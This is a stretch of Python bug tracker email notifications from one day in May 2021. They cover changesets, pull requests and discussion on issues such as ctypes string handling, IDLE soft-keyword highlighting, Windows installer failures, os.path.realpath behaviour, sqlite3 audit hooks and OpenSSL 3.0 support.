https://github.com/python/cpython/commit/73766b0341674f3920f4ea86a6f8288b801960f9 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:40:25 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 10:40:25 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619952025.6.0.905547184419.issue32745@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 9.0 -> 10.0 pull_requests: +24498 pull_request: https://github.com/python/cpython/pull/25811 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:40:30 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 10:40:30 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619952030.8.0.628568904881.issue32745@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24499 pull_request: https://github.com/python/cpython/pull/25812 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:52:59 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 10:52:59 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1619952779.83.0.122082234222.issue42083@roundup.psfhosted.org> ?ukasz Langa added the comment: This missed the train for inclusion in 3.8. There's still time for a backport for 3.9. ---------- nosy: +lukasz.langa stage: -> needs patch versions: +Python 3.10, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:55:07 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 10:55:07 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619952907.97.0.0171138313574.issue44009@roundup.psfhosted.org> Ned Deily added the comment: New changeset 78e55888ab379cc61c0b5db67f0b881e526628d2 by Ned Deily in branch '3.8': bpo-44009: Provide "python3.x-intel64" for Apple Silicon Macs (GH-25810) https://github.com/python/cpython/commit/78e55888ab379cc61c0b5db67f0b881e526628d2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:56:39 2021 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 May 2021 10:56:39 +0000 Subject: [issue44009] Provide "python3.x-intel64" command with macOS universal2 framework builds In-Reply-To: <1619940203.08.0.622779436946.issue44009@roundup.psfhosted.org> Message-ID: <1619952999.64.0.352499267416.issue44009@roundup.psfhosted.org> Change by Ned Deily : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 06:57:10 2021 From: report at bugs.python.org (Mark Shannon) Date: Sun, 02 May 2021 10:57:10 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1619953030.04.0.813977506323.issue43977@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24500 pull_request: https://github.com/python/cpython/pull/25813 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 07:03:13 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 11:03:13 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619953393.7.0.851740163354.issue32745@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset cf6a79644c227159b8b5a44055650266d578b9f6 by Miss Islington (bot) in branch '3.9': bpo-32745: Fix a regression in the handling of ctypes' c_wchar_p type (GH-8721) (#25812) https://github.com/python/cpython/commit/cf6a79644c227159b8b5a44055650266d578b9f6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 07:03:26 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 11:03:26 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619953406.4.0.816866362415.issue32745@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset db3ce79469ce9f8168ea4ac3e186be8e3fe44105 by Miss Islington (bot) in branch '3.8': bpo-32745: Fix a regression in the handling of ctypes' c_wchar_p type (GH-8721) (#25811) https://github.com/python/cpython/commit/db3ce79469ce9f8168ea4ac3e186be8e3fe44105 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 07:03:54 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 11:03:54 +0000 Subject: [issue32745] ctypes string pointer fields should accept embedded null characters In-Reply-To: <1517514890.15.0.467229070634.issue32745@psf.upfronthosting.co.za> Message-ID: <1619953434.11.0.306365075339.issue32745@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 07:07:34 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 11:07:34 +0000 Subject: [issue37322] test_ssl: test_pha_required_nocert() emits a ResourceWarning In-Reply-To: <1560803734.85.0.206698450732.issue37322@roundup.psfhosted.org> Message-ID: <1619953654.45.0.848508197886.issue37322@roundup.psfhosted.org> ?ukasz Langa added the comment: I re-ran CI on the pull requests, the 3.8 and 3.9 failures on Windows X64 and macOS reproduced the same. ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 07:56:36 2021 From: report at bugs.python.org (Marwan Essam) Date: Sun, 02 May 2021 11:56:36 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619956596.8.0.0796079096116.issue43983@roundup.psfhosted.org> Marwan Essam added the comment: Can someone help please, i need it in my project ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 08:00:50 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 12:00:50 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619956850.92.0.857387212292.issue36384@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 14.0 -> 15.0 pull_requests: +24501 pull_request: https://github.com/python/cpython/pull/25815 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 08:00:52 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 12:00:52 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619956852.06.0.415702747765.issue36384@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 60ce8f0be6354ad565393ab449d8de5d713f35bc by Christian Heimes in branch 'master': bpo-36384: Leading zeros in IPv4 addresses are no longer tolerated (GH-25099) https://github.com/python/cpython/commit/60ce8f0be6354ad565393ab449d8de5d713f35bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 08:48:15 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 12:48:15 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619959695.3.0.889727127153.issue43908@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: Victor: > And in the "Porting to Python 3.10", I don't know if we should suggest reviewing metatypes implemented in C which overrides tp_setattro, to take the new flag in account. I don't know either; perhaps someone else could chime in here. I've added a draft of a minimal What's New (PR comin' up in a few seconds). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 08:49:12 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 12:49:12 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619959752.43.0.262447530231.issue43908@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- pull_requests: +24502 pull_request: https://github.com/python/cpython/pull/25816 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 09:23:21 2021 From: report at bugs.python.org (MisterY) Date: Sun, 02 May 2021 13:23:21 +0000 Subject: [issue43985] lib2to3 fails on a slash('/') after positional_only paramter in a function signature In-Reply-To: <1619773999.71.0.976302612152.issue43985@roundup.psfhosted.org> Message-ID: <1619961801.92.0.22468198646.issue43985@roundup.psfhosted.org> MisterY added the comment: Thanks, it works well after upgrade to version 3.8.9 ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 09:46:30 2021 From: report at bugs.python.org (Barney Gale) Date: Sun, 02 May 2021 13:46:30 +0000 Subject: [issue24132] Direct sub-classing of pathlib.Path In-Reply-To: <1430890013.04.0.304568332905.issue24132@psf.upfronthosting.co.za> Message-ID: <1619963190.08.0.482450907222.issue24132@roundup.psfhosted.org> Barney Gale added the comment: Progress report: I've been working on tidying up the pathlib internals over the 3.9 and 3.10 releases. We're now in a position where: - `pathlib._Flavour` is entirely pure, and doesn't make any `os` calls - `pathlib._Accessor` handles all `os` access. The internal abstractions are now much tighter, which allows us to begin refactoring them with confidence! The next step is to remove accessors, in bpo-43012. After that I'll finally be in a position to start working on this bug! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 09:49:09 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sun, 02 May 2021 13:49:09 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619963349.76.0.723352708583.issue36384@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 5374fbc31446364bf5f12e5ab88c5493c35eaf04 by Miss Islington (bot) in branch '3.9': bpo-36384: Leading zeros in IPv4 addresses are no longer tolerated (GH-25099) (GH-25815) https://github.com/python/cpython/commit/5374fbc31446364bf5f12e5ab88c5493c35eaf04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 09:53:06 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 13:53:06 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1619963586.9.0.623002502204.issue36384@roundup.psfhosted.org> Christian Heimes added the comment: ?ukasz, thanks for pushing the PR over the finish line! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:00:32 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 14:00:32 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1619964032.1.0.849708965895.issue38820@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24503 pull_request: https://github.com/python/cpython/pull/25817 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:06:06 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 14:06:06 +0000 Subject: [issue43880] 3.10 SSL module deprecations In-Reply-To: <1618656955.76.0.569824483108.issue43880@roundup.psfhosted.org> Message-ID: <1619964366.0.0.927600718537.issue43880@roundup.psfhosted.org> Christian Heimes added the comment: I have updated whatsnew in GH-25817. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:07:05 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 14:07:05 +0000 Subject: [issue43794] OpenSSL 3.0.0: Handle UNEXPECTED_EOF_WHILE_READING / wrap SSL_OP_IGNORE_UNEXPECTED_EOF In-Reply-To: <1617977591.38.0.697961461689.issue43794@roundup.psfhosted.org> Message-ID: <1619964425.79.0.289070378269.issue43794@roundup.psfhosted.org> Christian Heimes added the comment: I have updated whatsnew in GH-25817. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:35:23 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 14:35:23 +0000 Subject: [issue43968] os.path.realpath() unexpected breaking change: resolves subst'd paths to real paths In-Reply-To: <1619627176.09.0.686852454721.issue43968@roundup.psfhosted.org> Message-ID: <1619966123.81.0.988753111102.issue43968@roundup.psfhosted.org> Steve Dower added the comment: > The problem is with Python debugger and third-party tools - we can't make changes there. You can report the issue to them, though. They may not realise that they're using realpath() in scenarios when their users do not want links to be resolved. For your own needs, you could add a sitecustomize.py file that does "ntpath.realpath = ntpath.abspath". That will change the behaviour back to what it was in 3.7. > Is this acceptable for Python 3.8.10? No, it's not a security fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:38:22 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 14:38:22 +0000 Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0 In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org> Message-ID: <1619966302.1.0.07196723745.issue38820@roundup.psfhosted.org> Christian Heimes added the comment: New changeset d8389e3e50864447a74605d7ede3d14246bc633a by Christian Heimes in branch 'master': bpo-38820: Add ssl, hashlib, and hmac changes to whatsnew 3.10 (GH-25817) https://github.com/python/cpython/commit/d8389e3e50864447a74605d7ede3d14246bc633a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:39:02 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 14:39:02 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619966342.29.0.105745578478.issue43434@roundup.psfhosted.org> Steve Dower added the comment: Yes, let's move it into the init function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:43:11 2021 From: report at bugs.python.org (Steve Dower) Date: Sun, 02 May 2021 14:43:11 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619966591.06.0.545926183194.issue43983@roundup.psfhosted.org> Steve Dower added the comment: Hi Marwan If you look in your %TEMP% directory for the log file you attached, you'll find some more similar log files. Could you attach those as well? One of them will have the actual issue in it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 10:53:14 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 02 May 2021 14:53:14 +0000 Subject: [issue37322] test_ssl: test_pha_required_nocert() emits a ResourceWarning In-Reply-To: <1560803734.85.0.206698450732.issue37322@roundup.psfhosted.org> Message-ID: <1619967194.01.0.750742815636.issue37322@roundup.psfhosted.org> Christian Heimes added the comment: I have cherry-picked e047239eafefe8b19725efffe7756443495cf78b into both backports and rebased them on top of upstream/3.8 and upstream/3.9. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 11:18:46 2021 From: report at bugs.python.org (E. Paine) Date: Sun, 02 May 2021 15:18:46 +0000 Subject: [issue44010] IDLE: highlight new `match` / `case` syntax Message-ID: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> New submission from E. Paine : As-per PEP 634, structural pattern matching is now in Python. This introduces the `match` and `case` keywords. IDLE does not highlight these. The problem is that these are listed in `keyword.softkwlist` rather than `keyword.kwlist` (which is what IDLE uses). This confuses me, as this is not a __future__ feature and there is no discussion of it becoming one in #42128. There is also no discussion (that I could find) about which list it should be put in. The addition to softkwlist was done in PR-22917. Do we change IDLE to use softkwlist, or move those keywords into kwlist? ---------- assignee: terry.reedy components: IDLE messages: 392705 nosy: epaine, taleinat, terry.reedy priority: normal severity: normal status: open title: IDLE: highlight new `match` / `case` syntax type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 11:43:58 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 15:43:58 +0000 Subject: [issue43997] dataclasses documentation needs version added for match_args, kw_only, and slots Message-ID: <1619970238.27.0.58705499186.issue43997@roundup.psfhosted.org> New submission from miss-islington : New changeset a5eabc9a39c617475adb7eaee62de7566a995442 by Shreyan Avigyan in branch 'master': bpo-43997: Add versionadded directives for to match_args, kw_only, and slots in dataclasses.dataclasses documentation (GH-25803) https://github.com/python/cpython/commit/a5eabc9a39c617475adb7eaee62de7566a995442 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 11:44:26 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 02 May 2021 15:44:26 +0000 Subject: [issue43997] dataclasses documentation needs version added for match_args, kw_only, and slots In-Reply-To: <1619970238.27.0.58705499186.issue43997@roundup.psfhosted.org> Message-ID: <1619970266.29.0.264217804038.issue43997@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 11:53:38 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 02 May 2021 15:53:38 +0000 Subject: [issue44010] IDLE: highlight new `match` / `case` syntax In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1619970818.96.0.919887322328.issue44010@roundup.psfhosted.org> Ken Jin added the comment: Hi, I'm no IDLE expert, but I think moving the new soft keywords into kwlist seems wrong: Soft keywords were added in Python 3.9 when the PEG parser became the default. The keyword list was also updated accordingly https://docs.python.org/3/library/keyword.html#keyword.softkwlist. This link provides an explanation of how soft keywords differ from normal keywords: https://docs.python.org/3.10/reference/lexical_analysis.html#soft-keywords Thanks ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 12:04:16 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 16:04:16 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619971456.59.0.339718097417.issue43434@roundup.psfhosted.org> Change by Erlend Egeberg Aasland : ---------- pull_requests: +24504 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25818 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 12:08:49 2021 From: report at bugs.python.org (E. Paine) Date: Sun, 02 May 2021 16:08:49 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1619971729.7.0.592496198046.issue44010@roundup.psfhosted.org> E. Paine added the comment: Thanks for linking to the Lexical Analysis docs. Not quite sure how I missed this given it is directly below the normal keywords section. Given the distinction described there, it may instead be best for IDLE to highlight this as its own category (i.e. not grouping it with the standard keywords). ---------- title: IDLE: highlight new `match` / `case` syntax -> IDLE: highlight soft keywords _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 12:17:12 2021 From: report at bugs.python.org (Erlend Egeberg Aasland) Date: Sun, 02 May 2021 16:17:12 +0000 Subject: [issue43434] sqlite3.Connection(...) bypasses 'sqlite3.connect' audit hooks In-Reply-To: <1615208039.92.0.863639207352.issue43434@roundup.psfhosted.org> Message-ID: <1619972232.63.0.804846592735.issue43434@roundup.psfhosted.org> Erlend Egeberg Aasland added the comment: The PR accidentally fixes a bug in GH-25246 (bpo-43762): The object passed to PySys_Audit() is now the connection object, not the module object. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 13:24:05 2021 From: report at bugs.python.org (Marwan Essam) Date: Sun, 02 May 2021 17:24:05 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619976245.44.0.137091925124.issue43983@roundup.psfhosted.org> Marwan Essam added the comment: Done, i uploaded a rar with all the log files in %TEMP% ---------- Added file: https://bugs.python.org/file50003/logs.rar _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 13:29:22 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 17:29:22 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619976562.18.0.504871722893.issue43990@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 7d2b83e9f092a2ea1f715fe028f7c48324bee756 by Zackery Spytz in branch 'master': bpo-43990: Fix the footnote ordering in the operator precedence docs (GH-25805) https://github.com/python/cpython/commit/7d2b83e9f092a2ea1f715fe028f7c48324bee756 ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 13:53:01 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 02 May 2021 17:53:01 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619977981.8.0.356429136009.issue43983@roundup.psfhosted.org> Shreyan Avigyan added the comment: See if the your problem is solved by following https://docs.microsoft.com/en-us/troubleshoot/windows-server/application-management/msi-installation-error-1603. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 14:05:45 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 02 May 2021 18:05:45 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1619978745.1.0.762382476495.issue44010@roundup.psfhosted.org> Terry J. Reedy added the comment: Soft keywords are a huge nuisance for syntax highlighting as they need special case regexes and tests. Hard keywords are matched against complete words, regardless of whether the context is syntactically valid or not. If 'for' and 'else' were the only keywords, the keyword part of the IDLE colorizer regex would be as follows. >>> kw = r"\b" + colorizer.any("KEYWORD", ['for', 'else']) + r"\b" >>> kw '\\b(?Pfor|else)\\b' Both words in 'for.else' are highlighted as the tokenizer will see them as keywords. The parser will later see the combination as an error. The tag name in a "(?P...) construct can only be used once in a regex. Since the word-boundary context is the same for all hard keywords, the alternation can be done within one such context and all (hard) keywords get the same match tag (dict key "KEYWORD"), making it easy to give all the same highlight. Soft keywords need different contexts to avoid false positives. 'match' and 'case' must be the first non-blank on a line and followed by ':'. '_' must follow 'case' and space. I believe each context will have to have its own tag name, so multiple keyword tags must be mapped to 'keyword'. skw1 = r"^[ \t]*(?Pmatch|case)[ \t]+:" skw2 = r"case[ \t]+(?P_)\b" Add skw1 and skw2 to the prog definition, which should use "|".join(...). In ColorDelegator.LoadTagDefs (which should be renamed), replace "KEYWORD": idleConf.GetHighlight(theme, "keyword"), with "KEYWORD": keydef "SKEY1": keydef "SKEY2": keydef after first defining keydef with keydef = idleConf.GetHighlight(theme, "keyword") Some new tests will be needed. ---------- stage: -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 14:12:04 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 May 2021 18:12:04 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619979124.27.0.581618548082.issue43990@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 14:46:13 2021 From: report at bugs.python.org (Yann Dirson) Date: Sun, 02 May 2021 18:46:13 +0000 Subject: [issue41222] Undocumented behaviour change of POpen.stdout.readine with bufsize=0 or =1 In-Reply-To: <1594065242.21.0.841046846995.issue41222@roundup.psfhosted.org> Message-ID: <1619981173.86.0.626727245227.issue41222@roundup.psfhosted.org> Yann Dirson added the comment: With upcoming 3.10 phasing out 2.7 compatibility I have to find a solution to this, so I'm back digging here. Even .read(1) on a subprocess pipe causes an underlying buffered read, so working around the problem by a loop of 1-byte reads has to do with os.read(), though its usage on file-like object is discouraged. It looks like one of those would be needed, depending on the expected semantics of `POpen`'s `bufsize` parameter: * use the provided bufsize for the underlying buffering * provide a dummy pipe fd through fileno(), feeding it data as long as a read() call leaves data in the underlying buffer (indeed a simple conditional 1-byte read or write to the pipe before returning to caller should provide the correct semantics) ---------- versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 15:01:49 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 02 May 2021 19:01:49 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1619982109.27.0.196070168108.issue43990@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24505 pull_request: https://github.com/python/cpython/pull/25819 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 15:10:30 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Sun, 02 May 2021 19:10:30 +0000 Subject: [issue41411] Improve and consolidate f-strings docs In-Reply-To: <1595867493.01.0.94068638385.issue41411@roundup.psfhosted.org> Message-ID: <1619982630.05.0.0936267939109.issue41411@roundup.psfhosted.org> St?phane Blondon added the comment: It seems ezio-melotti hesitates to continue the modifications in the PR https://github.com/python/cpython/pull/21552#pullrequestreview-458400056 IMO, the PR improves enough the documentation, so it would be nice to merge it, even without the other changes. I'd like to help but I don't know how I could do that. @ezio.melotti, @amaajemyfren Are you still interested by this issue? How can I help you? ---------- nosy: +sblondon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:00:16 2021 From: report at bugs.python.org (Marwan Essam) Date: Sun, 02 May 2021 20:00:16 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1619985616.66.0.262996354116.issue43983@roundup.psfhosted.org> Marwan Essam added the comment: Hello Shreyan, unfortunately still not working, I tried all the solutions and none worked. still showing the same error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:02:20 2021 From: report at bugs.python.org (Brandt Bucher) Date: Sun, 02 May 2021 20:02:20 +0000 Subject: [issue43754] Eliminate bindings for partial pattern matches In-Reply-To: <1617739231.38.0.2365910918.issue43754@roundup.psfhosted.org> Message-ID: <1619985740.75.0.934184661941.issue43754@roundup.psfhosted.org> Brandt Bucher added the comment: New changeset 0ad1e0384c8afc5259a6d03363491d89500a5d03 by Brandt Bucher in branch 'master': bpo-43754: Eliminate bindings for partial pattern matches (GH-25229) https://github.com/python/cpython/commit/0ad1e0384c8afc5259a6d03363491d89500a5d03 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:05:54 2021 From: report at bugs.python.org (Brandt Bucher) Date: Sun, 02 May 2021 20:05:54 +0000 Subject: [issue43754] Eliminate bindings for partial pattern matches In-Reply-To: <1617739231.38.0.2365910918.issue43754@roundup.psfhosted.org> Message-ID: <1619985954.74.0.363793358799.issue43754@roundup.psfhosted.org> Change by Brandt Bucher : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:10:57 2021 From: report at bugs.python.org (sfmc) Date: Sun, 02 May 2021 20:10:57 +0000 Subject: [issue43968] os.path.realpath() unexpected breaking change: resolves subst'd paths to real paths In-Reply-To: <1619627176.09.0.686852454721.issue43968@roundup.psfhosted.org> Message-ID: <1619986257.25.0.891603440117.issue43968@roundup.psfhosted.org> sfmc added the comment: > How about keeping a substitute or mapped drive from the input path > if resolving the root path on the drive prefixes the overall real > path? That would be pretty easy to implement. So if the resolved path is accessible from the original path's drive, then keep the drive? This is what 'realpath' in Ruby does. Good idea, in my opinion. Letting this be default behavior (controlled by keyword argument) would prevent the issues with mounted drives. > For your own needs, you could add a sitecustomize.py file that > does "ntpath.realpath = ntpath.abspath". That will change the > behaviour back to what it was in 3.7. It works. Thank you very much. ----- Since you provided the working solution for me, the destiny of this bug report is at your discretion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 2 16:14:33 2021 From: report at bugs.python.org (Raymond Hettinger) 